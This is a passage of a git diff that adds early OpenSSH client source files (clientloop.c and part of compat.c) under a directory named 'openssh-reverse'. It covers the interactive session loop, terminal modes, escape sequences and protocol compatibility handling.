b/other/openssh-reverse/clientloop.c @@ -0,0 +1,1117 @@ +/* + * + * clientloop.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * + * Created: Sat Sep 23 12:23:57 1995 ylo + * + * The main loop for the interactive session (client side). + * + * SSH2 support added by Markus Friedl. + */ + +#include "includes.h" +RCSID("$OpenBSD: clientloop.c,v 1.28 2000/07/13 23:14:08 provos Exp $"); + +#include "xmalloc.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "authfd.h" +#include "readconf.h" + +#include "ssh2.h" +#include "compat.h" +#include "channels.h" +#include "dispatch.h" + + +/* Flag indicating that stdin should be redirected from /dev/null. */ +extern int stdin_null_flag; + +/* + * Name of the host we are connecting to. This is the name given on the + * command line, or the HostName specified for the user-supplied name in a + * configuration file. + */ +extern char *host; + +/* + * Flag to indicate that we have received a window change signal which has + * not yet been processed. This will cause a message indicating the new + * window size to be sent to the server a little later. This is volatile + * because this is updated in a signal handler. + */ +static volatile int received_window_change_signal = 0; + +/* Terminal modes, as saved by enter_raw_mode. */ +static struct termios saved_tio; + +/* + * Flag indicating whether we are in raw mode. This is used by + * enter_raw_mode and leave_raw_mode. + */ +static int in_raw_mode = 0; + +/* Flag indicating whether the user\'s terminal is in non-blocking mode. */ +static int in_non_blocking_mode = 0; + +/* Common data for the client loop code. */ +static int escape_pending; /* Last character was the escape character */ +static int last_was_cr; /* Last character was a newline. */ +static int exit_status; /* Used to store the exit status of the command. */ +static int stdin_eof; /* EOF has been encountered on standard error. */ +static Buffer stdin_buffer; /* Buffer for stdin data. */ +static Buffer stdout_buffer; /* Buffer for stdout data. */ +static Buffer stderr_buffer; /* Buffer for stderr data. */ +static unsigned int buffer_high;/* Soft max buffer size. */ +static int max_fd; /* Maximum file descriptor number in select(). */ +static int connection_in; /* Connection to server (input). */ +static int connection_out; /* Connection to server (output). */ +static unsigned long stdin_bytes, stdout_bytes, stderr_bytes; +static int quit_pending; /* Set to non-zero to quit the client loop. */ +static int escape_char; /* Escape character. */ + + +void client_init_dispatch(void); +int session_ident = -1; + +/* Returns the user\'s terminal to normal mode if it had been put in raw mode. */ + +void +leave_raw_mode() +{ + if (!in_raw_mode) + return; + in_raw_mode = 0; + if (tcsetattr(fileno(stdin), TCSADRAIN, &saved_tio) < 0) + perror("tcsetattr"); + + fatal_remove_cleanup((void (*) (void *)) leave_raw_mode, NULL); +} + +/* Puts the user\'s terminal in raw mode. */ + +void +enter_raw_mode() +{ + struct termios tio; + + if (tcgetattr(fileno(stdin), &tio) < 0) + perror("tcgetattr"); + saved_tio = tio; + tio.c_iflag |= IGNPAR; + tio.c_iflag &= ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + tio.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL); +#ifdef IEXTEN + tio.c_lflag &= ~IEXTEN; +#endif /* IEXTEN */ + tio.c_oflag &= ~OPOST; + tio.c_cc[VMIN] = 1; + tio.c_cc[VTIME] = 0; + if (tcsetattr(fileno(stdin), TCSADRAIN, &tio) < 0) + perror("tcsetattr"); + in_raw_mode = 1; + + fatal_add_cleanup((void (*) (void *)) leave_raw_mode, NULL); +} + +/* Restores stdin to blocking mode. */ + +void +leave_non_blocking() +{ + if (in_non_blocking_mode) { + (void) fcntl(fileno(stdin), F_SETFL, 0); + in_non_blocking_mode = 0; + fatal_remove_cleanup((void (*) (void *)) leave_non_blocking, NULL); + } +} + +/* Puts stdin terminal in non-blocking mode. */ + +void +enter_non_blocking() +{ + in_non_blocking_mode = 1; + (void) fcntl(fileno(stdin), F_SETFL, O_NONBLOCK); + fatal_add_cleanup((void (*) (void *)) leave_non_blocking, NULL); +} + +/* + * Signal handler for the window change signal (SIGWINCH). This just sets a + * flag indicating that the window has changed. + */ + +void +window_change_handler(int sig) +{ + received_window_change_signal = 1; + signal(SIGWINCH, window_change_handler); +} + +/* + * Signal handler for signals that cause the program to terminate. These + * signals must be trapped to restore terminal modes. + */ + +void +signal_handler(int sig) +{ + if (in_raw_mode) + leave_raw_mode(); + if (in_non_blocking_mode) + leave_non_blocking(); + channel_stop_listening(); + packet_close(); + fatal("Killed by signal %d.", sig); +} + +/* + * Returns current time in seconds from Jan 1, 1970 with the maximum + * available resolution. + */ + +double +get_current_time() +{ + struct timeval tv; + gettimeofday(&tv, NULL); + return (double) tv.tv_sec + (double) tv.tv_usec / 1000000.0; +} + +/* + * This is called when the interactive is entered. This checks if there is + * an EOF coming on stdin. We must check this explicitly, as select() does + * not appear to wake up when redirecting from /dev/null. + */ + +void +client_check_initial_eof_on_stdin() +{ + int len; + char buf[1]; + + /* + * If standard input is to be "redirected from /dev/null", we simply + * mark that we have seen an EOF and send an EOF message to the + * server. Otherwise, we try to read a single character; it appears + * that for some files, such /dev/null, select() never wakes up for + * read for this descriptor, which means that we never get EOF. This + * way we will get the EOF if stdin comes from /dev/null or similar. + */ + if (stdin_null_flag) { + /* Fake EOF on stdin. */ + debug("Sending eof."); + stdin_eof = 1; + packet_start(SSH_CMSG_EOF); + packet_send(); + } else { + enter_non_blocking(); + + /* Check for immediate EOF on stdin. */ + len = read(fileno(stdin), buf, 1); + if (len == 0) { + /* EOF. Record that we have seen it and send EOF to server. */ + debug("Sending eof."); + stdin_eof = 1; + packet_start(SSH_CMSG_EOF); + packet_send(); + } else if (len > 0) { + /* + * Got data. We must store the data in the buffer, + * and also process it as an escape character if + * appropriate. + */ + if ((unsigned char) buf[0] == escape_char) + escape_pending = 1; + else { + buffer_append(&stdin_buffer, buf, 1); + stdin_bytes += 1; + } + } + leave_non_blocking(); + } +} + + +/* + * Make packets from buffered stdin data, and buffer them for sending to the + * connection. + */ + +void +client_make_packets_from_stdin_data() +{ + unsigned int len; + + /* Send buffered stdin data to the server. */ + while (buffer_len(&stdin_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stdin_buffer); + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + packet_start(SSH_CMSG_STDIN_DATA); + packet_put_string(buffer_ptr(&stdin_buffer), len); + packet_send(); + buffer_consume(&stdin_buffer, len); + /* If we have a pending EOF, send it now. */ + if (stdin_eof && buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } +} + +/* + * Checks if the client window has changed, and sends a packet about it to + * the server if so. The actual change is detected elsewhere (by a software + * interrupt on Unix); this just checks the flag and sends a message if + * appropriate. + */ + +void +client_check_window_change() +{ + struct winsize ws; + + if (! received_window_change_signal) + return; + /** XXX race */ + received_window_change_signal = 0; + + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + return; + + debug("client_check_window_change: changed"); + + if (compat20) { + channel_request_start(session_ident, "window-change", 0); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_send(); + } else { + packet_start(SSH_CMSG_WINDOW_SIZE); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_send(); + } +} + +/* + * Waits until the client can do something (some data becomes available on + * one of the file descriptors). + */ + +void +client_wait_until_can_do_something(fd_set * readset, fd_set * writeset) +{ + /*debug("client_wait_until_can_do_something"); */ + + /* Initialize select masks. */ + FD_ZERO(readset); + FD_ZERO(writeset); + + if (!compat20) { + /* Read from the connection, unless our buffers are full. */ + if (buffer_len(&stdout_buffer) < buffer_high && + buffer_len(&stderr_buffer) < buffer_high && + channel_not_very_much_buffered_data()) + FD_SET(connection_in, readset); + /* + * Read from stdin, unless we have seen EOF or have very much + * buffered data to send to the server. + */ + if (!stdin_eof && packet_not_very_much_data_to_write()) + FD_SET(fileno(stdin), readset); + + /* Select stdout/stderr if have data in buffer. */ + if (buffer_len(&stdout_buffer) > 0) + FD_SET(fileno(stdout), writeset); + if (buffer_len(&stderr_buffer) > 0) + FD_SET(fileno(stderr), writeset); + } else { + FD_SET(connection_in, readset); + } + + /* Add any selections by the channel mechanism. */ + channel_prepare_select(readset, writeset); + + /* Select server connection if have data to write to the server. */ + if (packet_have_data_to_write()) + FD_SET(connection_out, writeset); + +/* move UP XXX */ + /* Update maximum file descriptor number, if appropriate. */ + if (channel_max_fd() > max_fd) + max_fd = channel_max_fd(); + + /* + * Wait for something to happen. This will suspend the process until + * some selected descriptor can be read, written, or has some other + * event pending. Note: if you want to implement SSH_MSG_IGNORE + * messages to fool traffic analysis, this might be the place to do + * it: just have a random timeout for the select, and send a random + * SSH_MSG_IGNORE packet when the timeout expires. + */ + + if (select(max_fd + 1, readset, writeset, NULL, NULL) < 0) { + char buf[100]; + /* Some systems fail to clear these automatically. */ + FD_ZERO(readset); + FD_ZERO(writeset); + if (errno == EINTR) + return; + /* Note: we might still have data in the buffers. */ + snprintf(buf, sizeof buf, "select: %s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + } +} + +void +client_suspend_self() +{ + struct winsize oldws, newws; + + /* Flush stdout and stderr buffers. */ + if (buffer_len(&stdout_buffer) > 0) + atomicio(write, fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (buffer_len(&stderr_buffer) > 0) + atomicio(write, fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + + leave_raw_mode(); + + /* + * Free (and clear) the buffer to reduce the amount of data that gets + * written to swap. + */ + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Save old window size. */ + ioctl(fileno(stdin), TIOCGWINSZ, &oldws); + + /* Send the suspend signal to the program itself. */ + kill(getpid(), SIGTSTP); + + /* Check if the window size has changed. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &newws) >= 0 && + (oldws.ws_row != newws.ws_row || + oldws.ws_col != newws.ws_col || + oldws.ws_xpixel != newws.ws_xpixel || + oldws.ws_ypixel != newws.ws_ypixel)) + received_window_change_signal = 1; + + /* OK, we have been continued by the user. Reinitialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + enter_raw_mode(); +} + +void +client_process_net_input(fd_set * readset) +{ + int len; + char buf[8192]; + + /* + * Read input from the server, and add any such data to the buffer of + * the packet subsystem. + */ + if (FD_ISSET(connection_in, readset)) { + /* Read as much as possible. */ + len = read(connection_in, buf, sizeof(buf)); +/*debug("read connection_in len %d", len); XXX */ + if (len == 0) { + /* Received EOF. The remote host has closed the connection. */ + snprintf(buf, sizeof buf, "Connection to %.300s closed by remote host.\r\n", + host); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + } + /* + * There is a kernel bug on Solaris that causes select to + * sometimes wake up even though there is no data available. + */ + if (len < 0 && errno == EAGAIN) + len = 0; + + if (len < 0) { + /* An error has encountered. Perhaps there is a network problem. */ + snprintf(buf, sizeof buf, "Read from remote host %.300s: %.100s\r\n", + host, strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + } + packet_process_incoming(buf, len); + } +} + +void +client_process_input(fd_set * readset) +{ + int len; + pid_t pid; + char buf[8192], *s; + + /* Read input from stdin. */ + if (FD_ISSET(fileno(stdin), readset)) { + /* Read as much as possible. */ + len = read(fileno(stdin), buf, sizeof(buf)); + if (len <= 0) { + /* + * Received EOF or error. They are treated + * similarly, except that an error message is printed + * if it was an error condition. + */ + if (len < 0) { + snprintf(buf, sizeof buf, "read: %.100s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + } + /* Mark that we have seen EOF. */ + stdin_eof = 1; + /* + * Send an EOF message to the server unless there is + * data in the buffer. If there is data in the + * buffer, no message will be sent now. Code + * elsewhere will send the EOF when the buffer + * becomes empty if stdin_eof is set. + */ + if (buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } else if (escape_char == -1) { + /* + * Normal successful read, and no escape character. + * Just append the data to buffer. + */ + buffer_append(&stdin_buffer, buf, len); + stdin_bytes += len; + } else { + /* + * Normal, successful read. But we have an escape character + * and have to process the characters one by one. + */ + unsigned int i; + for (i = 0; i < len; i++) { + unsigned char ch; + /* Get one character at a time. */ + ch = buf[i]; + + if (escape_pending) { + /* We have previously seen an escape character. */ + /* Clear the flag now. */ + escape_pending = 0; + /* Process the escaped character. */ + switch (ch) { + case '.': + /* Terminate the connection. */ + snprintf(buf, sizeof buf, "%c.\r\n", escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + + case 'Z' - 64: + /* Suspend the program. */ + /* Print a message to that effect to the user. */ + snprintf(buf, sizeof buf, "%c^Z\r\n", escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + + /* Restore terminal modes and suspend. */ + client_suspend_self(); + + /* We have been continued. */ + continue; + + case '&': + /* + * Detach the program (continue to serve connections, + * but put in background and no more new connections). + */ + if (!stdin_eof) { + /* + * Sending SSH_CMSG_EOF alone does not always appear + * to be enough. So we try to send an EOF character + * first. + */ + packet_start(SSH_CMSG_STDIN_DATA); + packet_put_string("\004", 1); + packet_send(); + /* Close stdin. */ + stdin_eof = 1; + if (buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } + /* Restore tty modes. */ + leave_raw_mode(); + + /* Stop listening for new connections. */ + channel_stop_listening(); + + printf("%c& [backgrounded]\n", escape_char); + + /* Fork into background. */ + pid = fork(); + if (pid < 0) { + error("fork: %.100s", strerror(errno)); + continue; + } + if (pid != 0) { /* This is the parent. */ + /* The parent just exits. */ + exit(0); + } + /* The child continues serving connections. */ + continue; + + case '?': + snprintf(buf, sizeof buf, +"%c?\r\n\ +Supported escape sequences:\r\n\ +~. - terminate connection\r\n\ +~^Z - suspend ssh\r\n\ +~# - list forwarded connections\r\n\ +~& - background ssh (when waiting for connections to terminate)\r\n\ +~? - this message\r\n\ +~~ - send the escape character by typing it twice\r\n\ +(Note that escapes are only recognized immediately after newline.)\r\n", + escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + continue; + + case '#': + snprintf(buf, sizeof buf, "%c#\r\n", escape_char); + buffer_append(&stderr_buffer, buf, strlen(buf)); + s = channel_open_message(); + buffer_append(&stderr_buffer, s, strlen(s)); + xfree(s); + continue; + + default: + if (ch != escape_char) { + /* + * Escape character followed by non-special character. + * Append both to the input buffer. + */ + buf[0] = escape_char; + buf[1] = ch; + buffer_append(&stdin_buffer, buf, 2); + stdin_bytes += 2; + continue; + } + /* + * Note that escape character typed twice + * falls through here; the latter gets processed + * as a normal character below. + */ + break; + } + } else { + /* + * The previous character was not an escape char. Check if this + * is an escape. + */ + if (last_was_cr && ch == escape_char) { + /* It is. Set the flag and continue to next character. */ + escape_pending = 1; + continue; + } + } + + /* + * Normal character. Record whether it was a newline, + * and append it to the buffer. + */ + last_was_cr = (ch == '\r' || ch == '\n'); + buf[0] = ch; + buffer_append(&stdin_buffer, buf, 1); + stdin_bytes += 1; + continue; + } + } + } +} + +void +client_process_output(fd_set * writeset) +{ + int len; + char buf[100]; + + /* Write buffered output to stdout. */ + if (FD_ISSET(fileno(stdout), writeset)) { + /* Write as much data as possible. */ + len = write(fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (len <= 0) { + if (errno == EAGAIN) + len = 0; + else { + /* + * An error or EOF was encountered. Put an + * error message to stderr buffer. + */ + snprintf(buf, sizeof buf, "write stdout: %.50s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + quit_pending = 1; + return; + } + } + /* Consume printed data from the buffer. */ + buffer_consume(&stdout_buffer, len); + } + /* Write buffered output to stderr. */ + if (FD_ISSET(fileno(stderr), writeset)) { + /* Write as much data as possible. */ + len = write(fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + if (len <= 0) { + if (errno == EAGAIN) + len = 0; + else { + /* EOF or error, but can't even print error message. */ + quit_pending = 1; + return; + } + } + /* Consume printed characters from the buffer. */ + buffer_consume(&stderr_buffer, len); + } +} + +/* + * Get packets from the connection input buffer, and process them as long as + * there are packets available. + * + * Any unknown packets received during the actual + * session cause the session to terminate. This is + * intended to make debugging easier since no + * confirmations are sent. Any compatible protocol + * extensions must be negotiated during the + * preparatory phase. + */ + +void +client_process_buffered_input_packets() +{ + dispatch_run(DISPATCH_NONBLOCK, &quit_pending); +} + +/* + * Implements the interactive session with the server. This is called after + * the user has been authenticated, and a command has been started on the + * remote host. If escape_char != -1, it is the character used as an escape + * character for terminating or suspending the session. + */ + +int +client_loop(int have_pty, int escape_char_arg) +{ + extern Options options; + double start_time, total_time; + int len; + char buf[100]; + + debug("Entering interactive session."); + + start_time = get_current_time(); + + /* Initialize variables. */ + escape_pending = 0; + last_was_cr = 1; + exit_status = -1; + stdin_eof = 0; + buffer_high = 64 * 1024; + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + max_fd = connection_in; + if (connection_out > max_fd) + max_fd = connection_out; + stdin_bytes = 0; + stdout_bytes = 0; + stderr_bytes = 0; + quit_pending = 0; + escape_char = escape_char_arg; + + /* Initialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + client_init_dispatch(); + + /* Set signal handlers to restore non-blocking mode. */ + signal(SIGINT, signal_handler); + signal(SIGQUIT, signal_handler); + signal(SIGTERM, signal_handler); + signal(SIGPIPE, SIG_IGN); + if (have_pty) + signal(SIGWINCH, window_change_handler); + + if (have_pty) + enter_raw_mode(); + + /* Check if we should immediately send eof on stdin. */ + if (!compat20) + client_check_initial_eof_on_stdin(); + + /* Main loop of the client for the interactive session mode. */ + while (!quit_pending) { + fd_set readset, writeset; + + /* Process buffered packets sent by the server. */ + client_process_buffered_input_packets(); + + if (compat20 && !channel_still_open()) { + debug("!channel_still_open."); + break; + } + + /* + * Make packets of buffered stdin data, and buffer them for + * sending to the server. + */ + if (!compat20) + client_make_packets_from_stdin_data(); + + /* + * Make packets from buffered channel data, and buffer them + * for sending to the server. + */ + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + + /* + * Check if the window size has changed, and buffer a message + * about it to the server if so. + */ + client_check_window_change(); + + if (quit_pending) + break; + + /* + * Wait until we have something to do (something becomes + * available on one of the descriptors). + */ + client_wait_until_can_do_something(&readset, &writeset); + + if (quit_pending) + break; + + /* Do channel operations. */ + channel_after_select(&readset, &writeset); + + /* Buffer input from the connection. */ + client_process_net_input(&readset); + + if (quit_pending) + break; + + if (!compat20) { + /* Buffer data from stdin */ + client_process_input(&readset); + /* + * Process output to stdout and stderr. Output to + * the connection is processed elsewhere (above). + */ + client_process_output(&writeset); + } + + /* Send as much buffered packet data as possible to the sender. */ + if (FD_ISSET(connection_out, &writeset)) + packet_write_poll(); + } + + /* Terminate the session. */ + + /* Stop watching for window change. */ + if (have_pty) + signal(SIGWINCH, SIG_DFL); + + /* Stop listening for connections. */ + channel_stop_listening(); + + /* + * In interactive mode (with pseudo tty) display a message indicating + * that the connection has been closed. + */ + if (have_pty && options.log_level != SYSLOG_LEVEL_QUIET) { + snprintf(buf, sizeof buf, "Connection to %.64s closed.\r\n", host); + buffer_append(&stderr_buffer, buf, strlen(buf)); + stderr_bytes += strlen(buf); + } + /* Output any buffered data for stdout. */ + while (buffer_len(&stdout_buffer) > 0) { + len = write(fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (len <= 0) { + error("Write failed flushing stdout buffer."); + break; + } + buffer_consume(&stdout_buffer, len); + } + + /* Output any buffered data for stderr. */ + while (buffer_len(&stderr_buffer) > 0) { + len = write(fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + if (len <= 0) { + error("Write failed flushing stderr buffer."); + break; + } + buffer_consume(&stderr_buffer, len); + } + + if (have_pty) + leave_raw_mode(); + + /* Clear and free any buffers. */ + memset(buf, 0, sizeof(buf)); + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Report bytes transferred, and transfer rates. */ + total_time = get_current_time() - start_time; + debug("Transferred: stdin %lu, stdout %lu, stderr %lu bytes in %.1f seconds", + stdin_bytes, stdout_bytes, stderr_bytes, total_time); + if (total_time > 0) + debug("Bytes per second: stdin %.1f, stdout %.1f, stderr %.1f", + stdin_bytes / total_time, stdout_bytes / total_time, + stderr_bytes / total_time); + + /* Return the exit status of the program. */ + debug("Exit status %d", exit_status); + return exit_status; +} + +/*********/ + +void +client_input_stdout_data(int type, int plen) +{ + unsigned int data_len; + char *data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + data_len, type); + buffer_append(&stdout_buffer, data, data_len); + stdout_bytes += data_len; + memset(data, 0, data_len); + xfree(data); +} +void +client_input_stderr_data(int type, int plen) +{ + unsigned int data_len; + char *data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + data_len, type); + buffer_append(&stderr_buffer, data, data_len); + stdout_bytes += data_len; + memset(data, 0, data_len); + xfree(data); +} +void +client_input_exit_status(int type, int plen) +{ + packet_integrity_check(plen, 4, type); + exit_status = packet_get_int(); + /* Acknowledge the exit. */ + packet_start(SSH_CMSG_EXIT_CONFIRMATION); + packet_send(); + /* + * Must wait for packet to be sent since we are + * exiting the loop. + */ + packet_write_wait(); + /* Flag that we want to exit. */ + quit_pending = 1; +} + +/* XXXX move to generic input handler */ +void +client_input_channel_open(int type, int plen) +{ + Channel *c = NULL; + char *ctype; + int id; + unsigned int len; + int rchan; + int rmaxpack; + int rwindow; + + ctype = packet_get_string(&len); + rchan = packet_get_int(); + rwindow = packet_get_int(); + rmaxpack = packet_get_int(); + + debug("client_input_channel_open: ctype %s rchan %d win %d max %d", + ctype, rchan, rwindow, rmaxpack); + + if (strcmp(ctype, "x11") == 0) { + int sock; + char *originator; + int originator_port; + originator = packet_get_string(NULL); + if (datafellows & SSH_BUG_X11FWD) { + debug("buggy server: x11 request w/o originator_port"); + originator_port = 0; + } else { + originator_port = packet_get_int(); + } + packet_done(); + /* XXX check permission */ + xfree(originator); + /* XXX move to channels.c */ + sock = x11_connect_display(); + if (sock >= 0) { + id = channel_new("x11", SSH_CHANNEL_X11_OPEN, + sock, sock, -1, 4*1024, 32*1024, 0, + xstrdup("x11")); + c = channel_lookup(id); + } + } +/* XXX duplicate : */ + if (c != NULL) { + debug("confirm %s", ctype); + c->remote_id = rchan; + c->remote_window = rwindow; + c->remote_maxpacket = rmaxpack; + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(c->remote_id); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); + packet_send(); + } else { + debug("failure %s", ctype); + packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); + packet_put_cstring("bla bla"); + packet_put_cstring(""); + packet_send(); + } + xfree(ctype); +} + +void +client_init_dispatch_20() +{ + dispatch_init(&dispatch_protocol_error); + dispatch_set(SSH2_MSG_CHANNEL_CLOSE, &channel_input_oclose); + dispatch_set(SSH2_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH2_MSG_CHANNEL_EOF, &channel_input_ieof); + dispatch_set(SSH2_MSG_CHANNEL_EXTENDED_DATA, &channel_input_extended_data); + dispatch_set(SSH2_MSG_CHANNEL_OPEN, &client_input_channel_open); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH2_MSG_CHANNEL_REQUEST, &channel_input_channel_request); + dispatch_set(SSH2_MSG_CHANNEL_WINDOW_ADJUST, &channel_input_window_adjust); +} +void +client_init_dispatch_13() +{ + dispatch_init(NULL); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_close); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_close_confirmation); + dispatch_set(SSH_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH_MSG_PORT_OPEN, &channel_input_port_open); + dispatch_set(SSH_SMSG_AGENT_OPEN, &auth_input_open_request); + dispatch_set(SSH_SMSG_EXITSTATUS, &client_input_exit_status); + dispatch_set(SSH_SMSG_STDERR_DATA, &client_input_stderr_data); + dispatch_set(SSH_SMSG_STDOUT_DATA, &client_input_stdout_data); + dispatch_set(SSH_SMSG_X11_OPEN, &x11_input_open); +} +void +client_init_dispatch_15() +{ + client_init_dispatch_13(); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_ieof); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, & channel_input_oclose); +} +void +client_init_dispatch() +{ + if (compat20) + client_init_dispatch_20(); + else if (compat13) + client_init_dispatch_13(); + else + client_init_dispatch_15(); +} + +void +client_input_channel_req(int id, void *arg) +{ + Channel *c = NULL; + unsigned int len; + int success = 0; + int reply; + char *rtype; + + rtype = packet_get_string(&len); + reply = packet_get_char(); + + debug("client_input_channel_req: rtype %s reply %d", rtype, reply); + + c = channel_lookup(id); + if (c == NULL) + fatal("session_input_channel_req: channel %d: bad channel", id); + + if (session_ident == -1) { + error("client_input_channel_req: no channel %d", id); + } else if (id != session_ident) { + error("client_input_channel_req: bad channel %d != %d", + id, session_ident); + } else if (strcmp(rtype, "exit-status") == 0) { + success = 1; + exit_status = packet_get_int(); + packet_done(); + } + if (reply) { + packet_start(success ? + SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); + packet_put_int(c->remote_id); + packet_send(); + } + xfree(rtype); +} + +void +client_set_session_ident(int id) +{ + debug("client_set_session_ident: id %d", id); + session_ident = id; + channel_register_callback(id, SSH2_MSG_CHANNEL_REQUEST, + client_input_channel_req, (void *)0); +} diff --git a/other/openssh-reverse/compat.c b/other/openssh-reverse/compat.c new file mode 100644 index 0000000..595a0a3 --- /dev/null +++ b/other/openssh-reverse/compat.c @@ -0,0 +1,107 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: compat.c,v 1.19 2000/07/09 01:27:32 ho Exp $"); + +#include "ssh.h" +#include "packet.h" +#include "xmalloc.h" +#include "compat.h" + +int compat13 = 0; +int compat20 = 0; +int datafellows = 0; + +void +enable_compat20(void) +{ + verbose("Enabling compatibility mode for protocol 2.0"); + compat20 = 1; +} +void +enable_compat13(void) +{ + verbose("Enabling compatibility mode for protocol 1.3"); + compat13 = 1; +} +/* datafellows bug compatibility */ +void +compat_datafellows(const char *version) +{ + int i; + size_t len; + struct { + char *version; + int bugs; + } check[] = { + {"2.2.0", SSH_BUG_HMAC|SSH_COMPAT_SESSIONID_ENCODING}, + {"2.1.0", SSH_BUG_SIGBLOB|SSH_BUG_HMAC}, + {"2.0.1", SSH_BUG_SIGBLOB|SSH_BUG_HMAC|SSH_BUG_PUBKEYAUTH|SSH_BUG_X11FWD}, + {NULL, 0} + }; + for (i = 0; check[i].version; i++) { + len = strlen(check[i].version); + if (strlen(version) >= len && + (strncmp(version, check[i].version, len) == 0)) { + verbose("datafellows: %.200s", version); + datafellows = check[i].bugs; + return; + } + } +} + +#define SEP "," +int +proto_spec(const char *spec) +{ + char *s, *p, *q; + int ret = SSH_PROTO_UNKNOWN; + + if (spec == NULL) + return ret; + q = s = xstrdup(spec); + for ((p = strsep(&q, SEP)); p && *p != '\0'; (p = strsep(&q, SEP))) { + switch(atoi(p)) { + case 1: + if (ret 